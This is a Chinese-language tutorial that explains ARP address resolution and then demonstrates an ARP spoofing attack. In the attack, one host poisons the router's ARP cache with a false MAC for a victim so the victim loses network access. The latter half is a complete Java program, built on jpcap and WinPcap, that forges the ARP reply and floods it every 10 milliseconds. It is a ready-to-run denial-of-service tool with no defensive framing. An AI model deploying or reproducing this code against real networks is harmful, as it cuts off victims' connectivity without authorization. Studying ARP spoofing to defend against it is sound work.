1.假设现在有一个主机A和一个主机B,二者处在同一个局域网当中。当主机A需要和主机B进行数据通信的时候,主机A会在自己的ARP缓存中查找是否有与主机B对应的ARP表项。
2.如果A在自己的ARP缓存当中找到了与主机B对应的ARP表,主机A直接利用ARP表中的MAC地址将IP数据包进行帧封装,将数据包发送给主机B。
3.如果A在自己的ARP缓存中没有找到与主机B对应的ARP表,则主机A将以广播的方式发送一个ARP请求,该请求中包含了主机A本身的IP地址(源IP地址)和MAC地址(源MAC地址),同时包含了主机B的IP地址(目标IP地址)。由于请求是以广播的形式发送的,所以处于该局域网的所有主机都能够检测到该ARP请求,但是只有和ARP请求中目标IP地址相同的主机才能够收到ARP请求,其余的主机都会讲该ARP请求抛弃。主机B收到由A发送的ARP请求后,会向主机A以单播的形式发送一个ARP回复,该回复中包含了主机B的IP地址(源IP地址),主机B的MAC地址(源MAC地址),主机A的IP地址(目标IP地址),主机A的MAC地址(目标MAC地址)。同时会将主机A的IP地址和MAC地址写入自己的ARP缓存当中。我们用程序实现第一种ARP欺骗,并对第一种欺骗方式进行举例。
假设现在主机A和主机B通过路由器C连接在同一个局域网内,主机A是欺骗方,主机B是被欺骗方。主机A在自己的ARP缓存中查到路由器C的IP地址IP_C,MAC地址MAC_C,查到主机B的IP地址IP_B。接下来,主机A自己生成一个ARP回复,该回复的源IP并不是主机A的IP地址,而是冒充主机B的IP地址IP_B,同时编造一个不存在的MAC地址作为回复的源MAC地址,目标IP是IP_C,目标MAC地址是MAC_C。这个ARP回复以单播的形式发送给路由器C之后,路由器并不会验证回复的真实性,而是会把IP_B和一个不存在的MAC地址写入自己的ARP缓存,此时,所有通过路由器发送给主机B的数据,都会因为找不到目标而发送失败。
总结一下:主机A冒充主机B不断向路由器发送一个包含错误的IP和MAC映射表的ARP回复,使经由路由器发给B的数据无法到达目的地,从而致使主机B无法正常上网。
接下来,我们用JAVA程序来实现这个欺骗过程。注意:JAVA自身是没有办法对数据链路层进行相关操作的,而ARP包的发送处于数据链路层。我们必须借助WinPcap来实现对数据链路层的相关操作,同时需要jpcap来作为沟通JAVA和WinPcap的媒介。所以应该提前安装WinPcap和jpcap。
需要补充解释一点:我们会在程序当中伪造一个ARP回复,这里必须了解ARP报文的结构。报文结构如下:
上图详细的说明了报文的构成,我们在生成ARP回复时,是通过jpcap提供的类ARPPacket来生成的,必须要把ARP中的每一个数据填充清楚,否则就会发送不成功。
代码如下:
import java.net.InetAddress;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
public class Test{
static byte[] stomac(String s) {
byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
String[] s1 = s.split("-");
for (int x = 0; x < s1.length; x++) {
mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);
}
return mac;
}
public static void main(String[] args) throws Exception {
InetAddress desip = InetAddress.getByName("192.168.0.1");// 被欺骗的目标IP地址
byte[] desmac = stomac("c8-3a-35-4a-0c-08");// 被欺骗的目标目标MAC数组
InetAddress srcip = InetAddress.getByName("192.168.0.105");// 源IP地址
byte[] srcmac = stomac("3c-97-0e-45-01-d4"); // 假的MAC数组
// 枚举网卡并打开设备
NetworkInterface[] devices = JpcapCaptor.getDeviceList(); //枚举网卡设备
NetworkInterface device = devices[2]; //选择网卡设备
JpcapSender sender = JpcapSender.openDevice(device); //打开网卡设备
// 设置ARP包
ARPPacket arp = new ARPPacket();
arp.hardtype = ARPPacket.HARDTYPE_ETHER; //硬件类型
arp.prototype = ARPPacket.PROTOTYPE_IP; //协议类型
arp.operation = ARPPacket.ARP_REPLY; //操作类型 REPLY 表示类型为应答
arp.hlen = 6; //硬件地址长度
arp.plen = 4; //协议类型长度
arp.sender_hardaddr = srcmac; //发送端MAC地址
arp.sender_protoaddr = srcip.getAddress(); //发送端IP地址
arp.target_hardaddr = desmac; //目标硬件地址
arp.target_protoaddr = desip.getAddress(); //目标IP地址
// 定义以太网首部
EthernetPacket ether = new EthernetPacket();
ether.frametype = EthernetPacket.ETHERTYPE_ARP; //设置帧的类型为ARP帧
ether.src_mac = srcmac; //源MAC地址
ether.dst_mac = desmac; //目标MAC地址
arp.datalink = ether; //添加
// 发送ARP应答包
while (true) {
System.out.println("sending arp..");
sender.sendPacket(arp);
Thread.sleep(10);
}
}
}